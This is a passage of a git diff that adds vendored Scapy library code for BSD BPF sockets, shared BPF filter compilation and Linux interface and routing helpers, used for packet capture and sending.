conf.use_pcap: + # Native + from scapy.arch.bpf.supersocket import * # noqa F403 + conf.use_bpf = True +elif SOLARIS: + from scapy.arch.solaris import * # noqa F403 +elif WINDOWS: + from scapy.arch.windows import * # noqa F403 + from scapy.arch.windows.native import * # noqa F403 + +if conf.iface is None: + conf.iface = conf.loopback_name + +_set_conf_sockets() # Apply config + + +def get_if_addr6(iff): + """ + Returns the main global unicast address associated with provided + interface, in human readable form. If no global address is found, + None is returned. + """ + return next((x[0] for x in in6_getifaddr() + if x[2] == iff and x[1] == IPV6_ADDR_GLOBAL), None) + + +def get_if_raw_addr6(iff): + """ + Returns the main global unicast address associated with provided + interface, in network format. If no global address is found, None + is returned. + """ + ip6 = get_if_addr6(iff) + if ip6 is not None: + return inet_pton(socket.AF_INET6, ip6) + + return None diff --git a/libs/scapy/arch/bpf/__init__.py b/libs/scapy/arch/bpf/__init__.py new file mode 100755 index 0000000..287235a --- /dev/null +++ b/libs/scapy/arch/bpf/__init__.py @@ -0,0 +1,5 @@ +# Guillaume Valadon + +""" +Scapy BSD native support +""" diff --git a/libs/scapy/arch/bpf/consts.py b/libs/scapy/arch/bpf/consts.py new file mode 100755 index 0000000..c712b97 --- /dev/null +++ b/libs/scapy/arch/bpf/consts.py @@ -0,0 +1,27 @@ +# Guillaume Valadon + +""" +Scapy BSD native support - constants +""" + +from ctypes import sizeof + +from scapy.libs.structures import bpf_program +from scapy.data import MTU + + +SIOCGIFFLAGS = 0xc0206911 +BPF_BUFFER_LENGTH = MTU + +# From net/bpf.h +BIOCIMMEDIATE = 0x80044270 +BIOCGSTATS = 0x4008426f +BIOCPROMISC = 0x20004269 +BIOCSETIF = 0x8020426c +BIOCSBLEN = 0xc0044266 +BIOCGBLEN = 0x40044266 +BIOCSETF = 0x80004267 | ((sizeof(bpf_program) & 0x1fff) << 16) +BIOCSDLT = 0x80044278 +BIOCSHDRCMPLT = 0x80044275 +BIOCGDLT = 0x4004426a +DLT_IEEE802_11_RADIO = 127 diff --git a/libs/scapy/arch/bpf/core.py b/libs/scapy/arch/bpf/core.py new file mode 100755 index 0000000..b959e54 --- /dev/null +++ b/libs/scapy/arch/bpf/core.py @@ -0,0 +1,211 @@ +# Guillaume Valadon + +""" +Scapy *BSD native support - core +""" + +from __future__ import absolute_import + +from ctypes import cdll, cast, pointer +from ctypes import c_int, c_ulong, c_char_p +from ctypes.util import find_library +import fcntl +import os +import re +import socket +import struct +import subprocess + +from scapy.arch.bpf.consts import BIOCSETF, SIOCGIFFLAGS, BIOCSETIF +from scapy.arch.common import get_if, compile_filter +from scapy.compat import plain_str +from scapy.config import conf +from scapy.data import ARPHDR_LOOPBACK, ARPHDR_ETHER +from scapy.error import Scapy_Exception, warning +from scapy.modules.six.moves import range + + +# ctypes definitions + +LIBC = cdll.LoadLibrary(find_library("libc")) +LIBC.ioctl.argtypes = [c_int, c_ulong, c_char_p] +LIBC.ioctl.restype = c_int + + +# Addresses manipulation functions + +def get_if_raw_addr(ifname): + """Returns the IPv4 address configured on 'ifname', packed with inet_pton.""" # noqa: E501 + + # Get ifconfig output + subproc = subprocess.Popen( + [conf.prog.ifconfig, ifname], + close_fds=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE + ) + stdout, stderr = subproc.communicate() + if subproc.returncode: + warning("Failed to execute ifconfig: (%s)", plain_str(stderr)) + return b"\0\0\0\0" + # Get IPv4 addresses + + addresses = [ + line for line in plain_str(stdout).splitlines() + if "inet " in line + ] + + if not addresses: + warning("No IPv4 address found on %s !", ifname) + return b"\0\0\0\0" + + # Pack the first address + address = addresses[0].split(' ')[1] + if '/' in address: # NetBSD 8.0 + address = address.split("/")[0] + return socket.inet_pton(socket.AF_INET, address) + + +def get_if_raw_hwaddr(ifname): + """Returns the packed MAC address configured on 'ifname'.""" + + NULL_MAC_ADDRESS = b'\x00' * 6 + + # Handle the loopback interface separately + if ifname == conf.loopback_name: + return (ARPHDR_LOOPBACK, NULL_MAC_ADDRESS) + + # Get ifconfig output + subproc = subprocess.Popen( + [conf.prog.ifconfig, ifname], + close_fds=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE + ) + stdout, stderr = subproc.communicate() + if subproc.returncode: + raise Scapy_Exception("Failed to execute ifconfig: (%s)" % + (plain_str(stderr))) + + # Get MAC addresses + addresses = [ + line for line in plain_str(stdout).splitlines() if ( + "ether" in line or "lladdr" in line or "address" in line + ) + ] + if not addresses: + raise Scapy_Exception("No MAC address found on %s !" % ifname) + + # Pack and return the MAC address + mac = addresses[0].split(' ')[1] + mac = [chr(int(b, 16)) for b in mac.split(':')] + return (ARPHDR_ETHER, ''.join(mac)) + + +# BPF specific functions + +def get_dev_bpf(): + """Returns an opened BPF file object""" + + # Get the first available BPF handle + for bpf in range(256): + try: + fd = os.open("/dev/bpf%i" % bpf, os.O_RDWR) + return (fd, bpf) + except OSError: + continue + + raise Scapy_Exception("No /dev/bpf handle is available !") + + +def attach_filter(fd, bpf_filter, iface): + """Attach a BPF filter to the BPF file descriptor""" + bp = compile_filter(bpf_filter, iface) + # Assign the BPF program to the interface + ret = LIBC.ioctl(c_int(fd), BIOCSETF, cast(pointer(bp), c_char_p)) + if ret < 0: + raise Scapy_Exception("Can't attach the BPF filter !") + + +# Interface manipulation functions + +def get_if_list(): + """Returns a list containing all network interfaces.""" + + # Get ifconfig output + subproc = subprocess.Popen( + [conf.prog.ifconfig], + close_fds=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE + ) + stdout, stderr = subproc.communicate() + if subproc.returncode: + raise Scapy_Exception("Failed to execute ifconfig: (%s)" % + (plain_str(stderr))) + + interfaces = [ + line[:line.find(':')] for line in plain_str(stdout).splitlines() + if ": flags" in line.lower() + ] + return interfaces + + +_IFNUM = re.compile(r"([0-9]*)([ab]?)$") + + +def get_working_ifaces(): + """ + Returns an ordered list of interfaces that could be used with BPF. + Note: the order mimics pcap_findalldevs() behavior + """ + + # Only root is allowed to perform the following ioctl() call + if os.getuid() != 0: + return [] + + # Test all network interfaces + interfaces = [] + for ifname in get_if_list(): + + # Unlike pcap_findalldevs(), we do not care of loopback interfaces. + if ifname == conf.loopback_name: + continue + + # Get interface flags + try: + result = get_if(ifname, SIOCGIFFLAGS) + except IOError: + warning("ioctl(SIOCGIFFLAGS) failed on %s !", ifname) + continue + + # Convert flags + ifflags = struct.unpack("16xH14x", result)[0] + if ifflags & 0x1: # IFF_UP + + # Get a BPF handle + fd = get_dev_bpf()[0] + if fd is None: + raise Scapy_Exception("No /dev/bpf are available !") + + # Check if the interface can be used + try: + fcntl.ioctl(fd, BIOCSETIF, struct.pack("16s16x", + ifname.encode())) + except IOError: + pass + else: + ifnum, ifab = _IFNUM.search(ifname).groups() + interfaces.append((ifname, int(ifnum) if ifnum else -1, ifab)) + finally: + # Close the file descriptor + os.close(fd) + + # Sort to mimic pcap_findalldevs() order + interfaces.sort(key=lambda elt: (elt[1], elt[2], elt[0])) + + return [iface[0] for iface in interfaces] + + +def get_working_if(): + """Returns the first interface than can be used with BPF""" + + ifaces = get_working_ifaces() + if not ifaces: + # A better interface will be selected later using the routing table + return conf.loopback_name + return ifaces[0] diff --git a/libs/scapy/arch/bpf/supersocket.py b/libs/scapy/arch/bpf/supersocket.py new file mode 100755 index 0000000..a02f13e --- /dev/null +++ b/libs/scapy/arch/bpf/supersocket.py @@ -0,0 +1,423 @@ +# Guillaume Valadon + +""" +Scapy *BSD native support - BPF sockets +""" + +from ctypes import c_long, sizeof +import errno +import fcntl +import os +import platform +from select import select +import struct +import time + +from scapy.arch.bpf.core import get_dev_bpf, attach_filter +from scapy.arch.bpf.consts import BIOCGBLEN, BIOCGDLT, BIOCGSTATS, \ + BIOCIMMEDIATE, BIOCPROMISC, BIOCSBLEN, BIOCSETIF, BIOCSHDRCMPLT, \ + BPF_BUFFER_LENGTH, BIOCSDLT, DLT_IEEE802_11_RADIO +from scapy.config import conf +from scapy.consts import FREEBSD, NETBSD, DARWIN +from scapy.data import ETH_P_ALL +from scapy.error import Scapy_Exception, warning +from scapy.supersocket import SuperSocket +from scapy.compat import raw + + +if FREEBSD: + # On 32bit architectures long might be 32bit. + BPF_ALIGNMENT = sizeof(c_long) +elif NETBSD: + BPF_ALIGNMENT = 8 # sizeof(long) +else: + BPF_ALIGNMENT = 4 # sizeof(int32_t) + + +# SuperSockets definitions + +class _L2bpfSocket(SuperSocket): + """"Generic Scapy BPF Super Socket""" + + desc = "read/write packets using BPF" + nonblocking_socket = True + + def __init__(self, iface=None, type=ETH_P_ALL, promisc=None, filter=None, + nofilter=0, monitor=False): + self.fd_flags = None + self.assigned_interface = None + + # SuperSocket mandatory variables + if promisc is None: + self.promisc = conf.sniff_promisc + else: + self.promisc = promisc + + if iface is None: + self.iface = conf.iface + else: + self.iface = iface + + # Get the BPF handle + (self.ins, self.dev_bpf) = get_dev_bpf() + self.outs = self.ins + + # Set the BPF buffer length + try: + fcntl.ioctl(self.ins, BIOCSBLEN, struct.pack('I', BPF_BUFFER_LENGTH)) # noqa: E501 + except IOError: + raise Scapy_Exception("BIOCSBLEN failed on /dev/bpf%i" % + self.dev_bpf) + + # Assign the network interface to the BPF handle + try: + fcntl.ioctl(self.ins, BIOCSETIF, struct.pack("16s16x", self.iface.encode())) # noqa: E501 + except IOError: + raise Scapy_Exception("BIOCSETIF failed on %s" % self.iface) + self.assigned_interface = self.iface + + # Set the interface into promiscuous + if self.promisc: + self.set_promisc(1) + + # Set the interface to monitor mode + # Note: - trick from libpcap/pcap-bpf.c - monitor_mode() + # - it only works on OS X 10.5 and later + if DARWIN and monitor: + dlt_radiotap = struct.pack('I', DLT_IEEE802_11_RADIO) + try: + fcntl.ioctl(self.ins, BIOCSDLT, dlt_radiotap) + except IOError: + raise Scapy_Exception("Can't set %s into monitor mode!" % + self.iface) + + # Don't block on read + try: + fcntl.ioctl(self.ins, BIOCIMMEDIATE, struct.pack('I', 1)) + except IOError: + raise Scapy_Exception("BIOCIMMEDIATE failed on /dev/bpf%i" % + self.dev_bpf) + + # Scapy will provide the link layer source address + # Otherwise, it is written by the kernel + try: + fcntl.ioctl(self.ins, BIOCSHDRCMPLT, struct.pack('i', 1)) + except IOError: + raise Scapy_Exception("BIOCSHDRCMPLT failed on /dev/bpf%i" % + self.dev_bpf) + + # Configure the BPF filter + if not nofilter: + if conf.except_filter: + if filter: + filter = "(%s) and not (%s)" % (filter, conf.except_filter) + else: + filter = "not (%s)" % conf.except_filter + if filter is not None: + try: + attach_filter(self.ins, filter, self.iface) + except ImportError as ex: + warning("Cannot set filter: %s" % ex) + + # Set the guessed packet class + self.guessed_cls = self.guess_cls() + + def set_promisc(self, value): + """Set the interface in promiscuous mode""" + + try: + fcntl.ioctl(self.ins, BIOCPROMISC, struct.pack('i', value)) + except IOError: + raise Scapy_Exception("Cannot set promiscuous mode on interface " + "(%s)!" % self.iface) + + def __del__(self): + """Close the file descriptor on delete""" + # When the socket is deleted on Scapy exits, __del__ is + # sometimes called "too late", and self is None + if self is not None: + self.close() + + def guess_cls(self): + """Guess the packet class that must be used on the interface""" + + # Get the data link type + try: + ret = fcntl.ioctl(self.ins, BIOCGDLT, struct.pack('I', 0)) + ret = struct.unpack('I', ret)[0] + except IOError: + cls = conf.default_l2 + warning("BIOCGDLT failed: unable to guess type. Using %s !", + cls.name) + return cls + + # Retrieve the corresponding class + try: + return conf.l2types[ret] + except KeyError: + cls = conf.default_l2 + warning("Unable to guess type (type %i). Using %s", ret, cls.name) + + def set_nonblock(self, set_flag=True): + """Set the non blocking flag on the socket""" + + # Get the current flags + if self.fd_flags is None: + try: + self.fd_flags = fcntl.fcntl(self.ins, fcntl.F_GETFL) + except IOError: + warning("Cannot get flags on this file descriptor !") + return + + # Set the non blocking flag + if set_flag: + new_fd_flags = self.fd_flags | os.O_NONBLOCK + else: + new_fd_flags = self.fd_flags & ~os.O_NONBLOCK + + try: + fcntl.fcntl(self.ins, fcntl.F_SETFL, new_fd_flags) + self.fd_flags = new_fd_flags + except Exception: + warning("Can't set flags on this file descriptor !") + + def get_stats(self): + """Get received / dropped statistics""" + + try: + ret = fcntl.ioctl(self.ins, BIOCGSTATS, struct.pack("2I", 0, 0)) + return struct.unpack("2I", ret) + except IOError: + warning("Unable to get stats from BPF !") + return (None, None) + + def get_blen(self): + """Get the BPF buffer length""" + + try: + ret = fcntl.ioctl(self.ins, BIOCGBLEN, struct.pack("I", 0)) + return struct.unpack("I", ret)[0] + except IOError: + warning("Unable to get the BPF buffer length") + return + + def fileno(self): + """Get the underlying file descriptor""" + return self.ins + + def close(self): + """Close the Super Socket""" + + if not self.closed and self.ins is not None: + os.close(self.ins) + self.closed = True + self.ins = None + + def send(self, x): + """Dummy send method""" + raise Exception( + "Can't send anything with %s" % self.__class__.__name__ + ) + + def recv_raw(self, x=BPF_BUFFER_LENGTH): + """Dummy recv method""" + raise Exception( + "Can't recv anything with %s" % self.__class__.__name__ + ) + + @staticmethod + def select(sockets, remain=None): + """This function is called during sendrecv() routine to select + the available sockets. + """ + # sockets, None (means use the socket's recv() ) + return bpf_select(sockets, remain), None + + +class L2bpfListenSocket(_L2bpfSocket): + """"Scapy L2 BPF Listen Super Socket""" + + def __init__(self, *args, **kwargs): + self.received_frames = [] + super(L2bpfListenSocket, self).__init__(*args, **kwargs) + + def buffered_frames(self): + """Return the number of frames in the buffer""" + return len(self.received_frames) + + def get_frame(self): + """Get a frame or packet from the received list""" + if self.received_frames: + return self.received_frames.pop(0) + else: + return None, None, None + + @staticmethod + def bpf_align(bh_h, bh_c): + """Return the index to the end of the current packet""" + + # from + return ((bh_h + bh_c) + (BPF_ALIGNMENT - 1)) & ~(BPF_ALIGNMENT - 1) + + def extract_frames(self, bpf_buffer): + """Extract all frames from the buffer and stored them in the received list.""" # noqa: E501 + + # Ensure that the BPF buffer contains at least the header + len_bb = len(bpf_buffer) + if len_bb < 20: # Note: 20 == sizeof(struct bfp_hdr) + return + + # Extract useful information from the BPF header + if FREEBSD: + # Unless we set BIOCSTSTAMP to something different than + # BPF_T_MICROTIME, we will get bpf_hdr on FreeBSD, which means + # that we'll get a struct timeval, which is time_t, suseconds_t. + # On i386 time_t is 32bit so the bh_tstamp will only be 8 bytes. + # We really want to set BIOCSTSTAMP to BPF_T_NANOTIME and be + # done with this and it always be 16? + if platform.machine() == "i386": + # struct bpf_hdr + bh_tstamp_offset = 8 + else: + # struct bpf_hdr (64bit time_t) or struct bpf_xhdr + bh_tstamp_offset = 16 + elif NETBSD: + # struct bpf_hdr or struct bpf_hdr32 + bh_tstamp_offset = 16 + else: + # struct bpf_hdr + bh_tstamp_offset = 8 + + # Parse the BPF header + bh_caplen = struct.unpack('I', bpf_buffer[bh_tstamp_offset:bh_tstamp_offset + 4])[0] # noqa: E501 + next_offset = bh_tstamp_offset + 4 + bh_datalen = struct.unpack('I', bpf_buffer[next_offset:next_offset + 4])[0] # noqa: E501 + next_offset += 4 + bh_hdrlen = struct.unpack('H', bpf_buffer[next_offset:next_offset + 2])[0] # noqa: E501 + if bh_datalen == 0: + return + + # Get and store the Scapy object + frame_str = bpf_buffer[bh_hdrlen:bh_hdrlen + bh_caplen] + self.received_frames.append( + (self.guessed_cls, frame_str, None) + ) + + # Extract the next frame + end = self.bpf_align(bh_hdrlen, bh_caplen) + if (len_bb - end) >= 20: + self.extract_frames(bpf_buffer[end:]) + + def recv_raw(self, x=BPF_BUFFER_LENGTH): + """Receive a frame from the network""" + + x = min(x, BPF_BUFFER_LENGTH) + + if self.buffered_frames(): + # Get a frame from the buffer + return self.get_frame() + + # Get data from BPF + try: + bpf_buffer = os.read(self.ins, x) + except EnvironmentError as exc: + if exc.errno != errno.EAGAIN: + warning("BPF recv_raw()", exc_info=True) + return None, None, None + + # Extract all frames from the BPF buffer + self.extract_frames(bpf_buffer) + return self.get_frame() + + +class L2bpfSocket(L2bpfListenSocket): + """"Scapy L2 BPF Super Socket""" + + def send(self, x): + """Send a frame""" + return os.write(self.outs, raw(x)) + + def nonblock_recv(self): + """Non blocking receive""" + + if self.buffered_frames(): + # Get a frame from the buffer + return L2bpfListenSocket.recv(self) + + # Set the non blocking flag, read from the socket, and unset the flag + self.set_nonblock(True) + pkt = L2bpfListenSocket.recv(self) + self.set_nonblock(False) + return pkt + + +class L3bpfSocket(L2bpfSocket): + + def recv(self, x=BPF_BUFFER_LENGTH): + """Receive on layer 3""" + r = SuperSocket.recv(self, x) + if r: + r.payload.time = r.time + return r.payload + return r + + def send(self, pkt): + """Send a packet""" + + # Use the routing table to find the output interface + iff = pkt.route()[0] + if iff is None: + iff = conf.iface + + # Assign the network interface to the BPF handle + if self.assigned_interface != iff: + try: + fcntl.ioctl(self.outs, BIOCSETIF, struct.pack("16s16x", iff.encode())) # noqa: E501 + except IOError: + raise Scapy_Exception("BIOCSETIF failed on %s" % iff) + self.assigned_interface = iff + + # Build the frame + frame = raw(self.guessed_cls() / pkt) + pkt.sent_time = time.time() + + # Send the frame + L2bpfSocket.send(self, frame) + + +# Sockets manipulation functions + +def isBPFSocket(obj): + """Return True is obj is a BPF Super Socket""" + return isinstance( + obj, + (L2bpfListenSocket, L2bpfListenSocket, L3bpfSocket) + ) + + +def bpf_select(fds_list, timeout=None): + """A call to recv() can return several frames. This functions hides the fact + that some frames are read from the internal buffer.""" + + # Check file descriptors types + bpf_scks_buffered = list() + select_fds = list() + + for tmp_fd in fds_list: + + # Specific BPF sockets: get buffers status + if isBPFSocket(tmp_fd) and tmp_fd.buffered_frames(): + bpf_scks_buffered.append(tmp_fd) + continue + + # Regular file descriptors or empty BPF buffer + select_fds.append(tmp_fd) + + if select_fds: + # Call select for sockets with empty buffers + if timeout is None: + timeout = 0.05 + ready_list, _, _ = select(select_fds, [], [], timeout) + return bpf_scks_buffered + ready_list + else: + return bpf_scks_buffered diff --git a/libs/scapy/arch/common.py b/libs/scapy/arch/common.py new file mode 100755 index 0000000..be0eac9 --- /dev/null +++ b/libs/scapy/arch/common.py @@ -0,0 +1,138 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Philippe Biondi +# This program is published under a GPLv2 license + +""" +Functions common to different architectures +""" + +import ctypes +import socket +import struct +import sys +import time +from scapy.consts import WINDOWS +from scapy.config import conf +from scapy.data import MTU, ARPHRD_TO_DLT +from scapy.error import Scapy_Exception + +if not WINDOWS: + from fcntl import ioctl + +# UTILS + + +def get_if(iff, cmd): + """Ease SIOCGIF* ioctl calls""" + + sck = socket.socket() + try: + return ioctl(sck, cmd, struct.pack("16s16x", iff.encode("utf8"))) + finally: + sck.close() + + +def get_if_raw_hwaddr(iff): + """Get the raw MAC address of a local interface. + + This function uses SIOCGIFHWADDR calls, therefore only works + on some distros. + + :param iff: the network interface name as a string + :returns: the corresponding raw MAC address + """ + from scapy.arch import SIOCGIFHWADDR + return struct.unpack("16xh6s8x", get_if(iff, SIOCGIFHWADDR)) + +# SOCKET UTILS + + +def _select_nonblock(sockets, remain=None): + """This function is called during sendrecv() routine to select + the available sockets. + """ + # pcap sockets aren't selectable, so we return all of them + # and ask the selecting functions to use nonblock_recv instead of recv + def _sleep_nonblock_recv(self): + res = self.nonblock_recv() + if res is None: + time.sleep(conf.recv_poll_rate) + return res + # we enforce remain=None: don't wait. + return sockets, _sleep_nonblock_recv + +# BPF HANDLERS + + +def compile_filter(filter_exp, iface=None, linktype=None, + promisc=False): + """Asks libpcap to parse the filter, then build the matching + BPF bytecode. + + :param iface: if provided, use the interface to compile + :param linktype: if provided, use the linktype to compile + """ + try: + from scapy.libs.winpcapy import ( + PCAP_ERRBUF_SIZE, + pcap_open_live, + pcap_compile, + pcap_compile_nopcap, + pcap_close + ) + from scapy.libs.structures import bpf_program + except OSError: + raise ImportError( + "libpcap is not available. Cannot compile filter !" + ) + from ctypes import create_string_buffer + bpf = bpf_program() + bpf_filter = create_string_buffer(filter_exp.encode("utf8")) + if not linktype: + # Try to guess linktype to avoid root + if not iface: + if not conf.iface: + raise Scapy_Exception( + "Please provide an interface or linktype!" + ) + if WINDOWS: + iface = conf.iface.pcap_name + else: + iface = conf.iface + # Try to guess linktype to avoid requiring root + try: + arphd = get_if_raw_hwaddr(iface)[0] + linktype = ARPHRD_TO_DLT.get(arphd) + except Exception: + # Failed to use linktype: use the interface + pass + if linktype is not None: + ret = pcap_compile_nopcap( + MTU, linktype, ctypes.byref(bpf), bpf_filter, 0, -1 + ) + elif iface: + err = create_string_buffer(PCAP_ERRBUF_SIZE) + iface = create_string_buffer(iface.encode("utf8")) + pcap = pcap_open_live( + iface, MTU, promisc, 0, err + ) + error = bytes(bytearray(err)).strip(b"\x00") + if error: + raise OSError(error) + ret = pcap_compile( + pcap, ctypes.byref(bpf), bpf_filter, 0, -1 + ) + pcap_close(pcap) + if ret == -1: + raise Scapy_Exception( + "Failed to compile filter expression %s (%s)" % (filter_exp, ret) + ) + if conf.use_pypy and sys.pypy_version_info <= (7, 3, 0): + # PyPy < 7.3.0 has a broken behavior + # https://bitbucket.org/pypy/pypy/issues/3114 + return struct.pack( + 'HL', + bpf.bf_len, ctypes.addressof(bpf.bf_insns.contents) + ) + return bpf diff --git a/libs/scapy/arch/linux.py b/libs/scapy/arch/linux.py new file mode 100755 index 0000000..6c2b034 --- /dev/null +++ b/libs/scapy/arch/linux.py @@ -0,0 +1,642 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Philippe Biondi +# This program is published under a GPLv2 license + +""" +Linux specific functions. +""" + +from __future__ import absolute_import + + +import array +from fcntl import ioctl +import os +from select import select +import socket +import struct +import time +import re + +import subprocess + +from scapy.compat import raw, plain_str +from scapy.consts import LINUX +import scapy.utils +import scapy.utils6 +from scapy.packet import Packet, Padding +from scapy.config import conf +from scapy.data import MTU, ETH_P_ALL, SOL_PACKET, SO_ATTACH_FILTER, \ + SO_TIMESTAMPNS +from scapy.supersocket import SuperSocket +from scapy.error import warning, Scapy_Exception, \ + ScapyInvalidPlatformException, log_runtime +from scapy.arch.common import get_if, compile_filter +import scapy.modules.six as six +from scapy.modules.six.moves import range + +from scapy.arch.common import get_if_raw_hwaddr # noqa: F401 + +# From bits/ioctls.h +SIOCGIFHWADDR = 0x8927 # Get hardware address +SIOCGIFADDR = 0x8915 # get PA address +SIOCGIFNETMASK = 0x891b # get network PA mask +SIOCGIFNAME = 0x8910 # get iface name +SIOCSIFLINK = 0x8911 # set iface channel +SIOCGIFCONF = 0x8912 # get iface list +SIOCGIFFLAGS = 0x8913 # get flags +SIOCSIFFLAGS = 0x8914 # set flags +SIOCGIFINDEX = 0x8933 # name -> if_index mapping +SIOCGIFCOUNT = 0x8938 # get number of devices +SIOCGSTAMP = 0x8906 # get packet timestamp (as a timeval) + +# From if.h +IFF_UP = 0x1 # Interface is up. +IFF_BROADCAST = 0x2 # Broadcast address valid. +IFF_DEBUG = 0x4 # Turn on debugging. +IFF_LOOPBACK = 0x8 # Is a loopback net. +IFF_POINTOPOINT = 0x10 # Interface is point-to-point link. +IFF_NOTRAILERS = 0x20 # Avoid use of trailers. +IFF_RUNNING = 0x40 # Resources allocated. +IFF_NOARP = 0x80 # No address resolution protocol. +IFF_PROMISC = 0x100 # Receive all packets. + +# From netpacket/packet.h +PACKET_ADD_MEMBERSHIP = 1 +PACKET_DROP_MEMBERSHIP = 2 +PACKET_RECV_OUTPUT = 3 +PACKET_RX_RING = 5 +PACKET_STATISTICS = 6 +PACKET_MR_MULTICAST = 0 +PACKET_MR_PROMISC = 1 +PACKET_MR_ALLMULTI = 2 + +# From net/route.h +RTF_UP = 0x0001 # Route usable +RTF_REJECT = 0x0200 + +# From if_packet.h +PACKET_HOST = 0 # To us +PACKET_BROADCAST = 1 # To all +PACKET_MULTICAST = 2 # To group +PACKET_OTHERHOST = 3 # To someone else +PACKET_OUTGOING = 4 # Outgoing of any type +PACKET_LOOPBACK = 5 # MC/BRD frame looped back +PACKET_USER = 6 # To user space +PACKET_KERNEL = 7 # To kernel space +PACKET_AUXDATA = 8 +PACKET_FASTROUTE = 6 # Fastrouted frame +# Unused, PACKET_FASTROUTE and PACKET_LOOPBACK are invisible to user space + +# Utils + + +def get_if_raw_addr(iff): + try: + return get_if(iff, SIOCGIFADDR)[20:24] + except IOError: + return b"\0\0\0\0" + + +def get_if_list(): + try: + f = open("/proc/net/dev", "rb") + except IOError: + try: + f.close() + except Exception: + pass + warning("Can't open /proc/net/dev !") + return [] + lst = [] + f.readline() + f.readline() + for line in f: + line = plain_str(line) + lst.append(line.split(":")[0].strip()) + f.close() + return lst + + +def get_working_if(): + """ + Return the name of the first network interfcace that is up. + """ + for i in get_if_list(): + if i == conf.loopback_name: + continue + ifflags = struct.unpack("16xH14x", get_if(i, SIOCGIFFLAGS))[0] + if ifflags & IFF_UP: + return i + return conf.loopback_name + + +def attach_filter(sock, bpf_filter, iface): + """ + Compile bpf filter and attach it to a socket + + :param sock: the python socket + :param bpf_filter: the bpf string filter to compile + :param iface: the interface used to compile + """ + bp = compile_filter(bpf_filter, iface) + sock.setsockopt(socket.SOL_SOCKET, SO_ATTACH_FILTER, bp) + + +def set_promisc(s, iff, val=1): + mreq = struct.pack("IHH8s", get_if_index(iff), PACKET_MR_PROMISC, 0, b"") + if val: + cmd = PACKET_ADD_MEMBERSHIP + else: + cmd = PACKET_DROP_MEMBERSHIP + s.setsockopt(SOL_PACKET, cmd, mreq) + + +def get_alias_address(iface_name, ip_mask, gw_str, metric): + """ + Get the correct source IP address of an interface alias + """ + + # Detect the architecture + if scapy.consts.IS_64BITS: + offset, name_len = 16, 40 + else: + offset, name_len = 32, 32 + + # Retrieve interfaces structures + sck = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + names = array.array('B', b'\0' * 4096) + ifreq = ioctl(sck.fileno(), SIOCGIFCONF, + struct.pack("iL", len(names), names.buffer_info()[0])) + + # Extract interfaces names + out = struct.unpack("iL", ifreq)[0] + names = names.tobytes() if six.PY3 else names.tostring() + names = [names[i:i + offset].split(b'\0', 1)[0] for i in range(0, out, name_len)] # noqa: E501 + + # Look for the IP address + for ifname in names: + # Only look for a matching interface name + if not ifname.decode("utf8").startswith(iface_name): + continue + + # Retrieve and convert addresses + ifreq = ioctl(sck, SIOCGIFADDR, struct.pack("16s16x", ifname)) + ifaddr = struct.unpack(">I", ifreq[20:24])[0] + ifreq = ioctl(sck, SIOCGIFNETMASK, struct.pack("16s16x", ifname)) + msk = struct.unpack(">I", ifreq[20:24])[0] + + # Get the full interface name + ifname = plain_str(ifname) + if ':' in ifname: + ifname = ifname[:ifname.index(':')] + else: + continue + + # Check if the source address is included in the network + if (ifaddr & msk) == ip_mask: + sck.close() + return (ifaddr & msk, msk, gw_str, ifname, + scapy.utils.ltoa(ifaddr), metric) + + sck.close() + return + + +def read_routes(): + try: + f = open("/proc/net/route", "rb") + except IOError: + warning("Can't open /proc/net/route !") + return [] + routes = [] + s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + try: + ifreq = ioctl(s, SIOCGIFADDR, struct.pack("16s16x", conf.loopback_name.encode("utf8"))) # noqa: E501 + addrfamily = struct.unpack("h", ifreq[16:18])[0] + if addrfamily == socket.AF_INET: + ifreq2 = ioctl(s, SIOCGIFNETMASK, struct.pack("16s16x", conf.loopback_name.encode("utf8"))) # noqa: E501 + msk = socket.ntohl(struct.unpack("I", ifreq2[20:24])[0]) + dst = socket.ntohl(struct.unpack("I", ifreq[20:24])[0]) & msk + ifaddr = scapy.utils.inet_ntoa(ifreq[20:24]) + routes.append((dst, msk, "0.0.0.0", conf.loopback_name, ifaddr, 1)) # noqa: E501 + else: + warning("Interface %s: unknown address family (%i)" % (conf.loopback_name, addrfamily)) # noqa: E501 + except IOError as err: + if err.errno == 99: + warning("Interface %s: no address assigned" % conf.loopback_name) # noqa: E501 + else: + warning("Interface %s: failed to get address config (%s)" % (conf.loopback_name, str(err))) # noqa: E501 + + for line in f.readlines()[1:]: + line = plain_str(line) + iff, dst, gw, flags, _, _, metric, msk, _, _, _ = line.split() + flags = int(flags, 16) + if flags & RTF_UP == 0: + continue + if flags & RTF_REJECT: + continue + try: + ifreq = ioctl(s, SIOCGIFADDR, struct.pack("16s16x", iff.encode("utf8"))) # noqa: E501 + except IOError: # interface is present in routing tables but does not have any assigned IP # noqa: E501 + ifaddr = "0.0.0.0" + ifaddr_int = 0 + else: + addrfamily = struct.unpack("h", ifreq[16:18])[0] + if addrfamily == socket.AF_INET: + ifaddr = scapy.utils.inet_ntoa(ifreq[20:24]) + ifaddr_int = struct.unpack("!I", ifreq[20:24])[0] + else: + warning("Interface %s: unknown address family (%i)", iff, addrfamily) # noqa: E501 + continue + + # Attempt to detect an interface alias based on addresses inconsistencies # noqa: E501 + dst_int = socket.htonl(int(dst, 16)) & 0xffffffff + msk_int = socket.htonl(int(msk, 16)) & 0xffffffff + gw_str = scapy.utils.inet_ntoa(struct.pack("I", int(gw, 16))) + metric = int(metric) + + if ifaddr_int & msk_int != dst_int: + tmp_route = get_alias_address(iff, dst_int, gw_str, metric) + if tmp_route: + routes.append(tmp_route) + else: + routes.append((dst_int, msk_int, gw_str, iff, ifaddr, metric)) + + else: + routes.append((dst_int, msk_int, gw_str, iff, ifaddr, metric)) + + f.close() + s.close() + return routes + +############ +# IPv6 # +############ + + +def in6_getifaddr(): + """ + Returns a list of 3-tuples of the form (addr, scope, iface) where + 'addr' is the address of scope 'scope' associated to the interface + 'iface'. + + This is the list of all addresses of all interfaces available on + the system. + """ + ret = [] + try: + fdesc = open("/proc/net/if_inet6", "rb") + except IOError: + return ret + for line in fdesc: + # addr, index, plen, scope, flags, ifname + tmp = plain_str(line).split() + addr = scapy.utils6.in6_ptop( + b':'.join( + 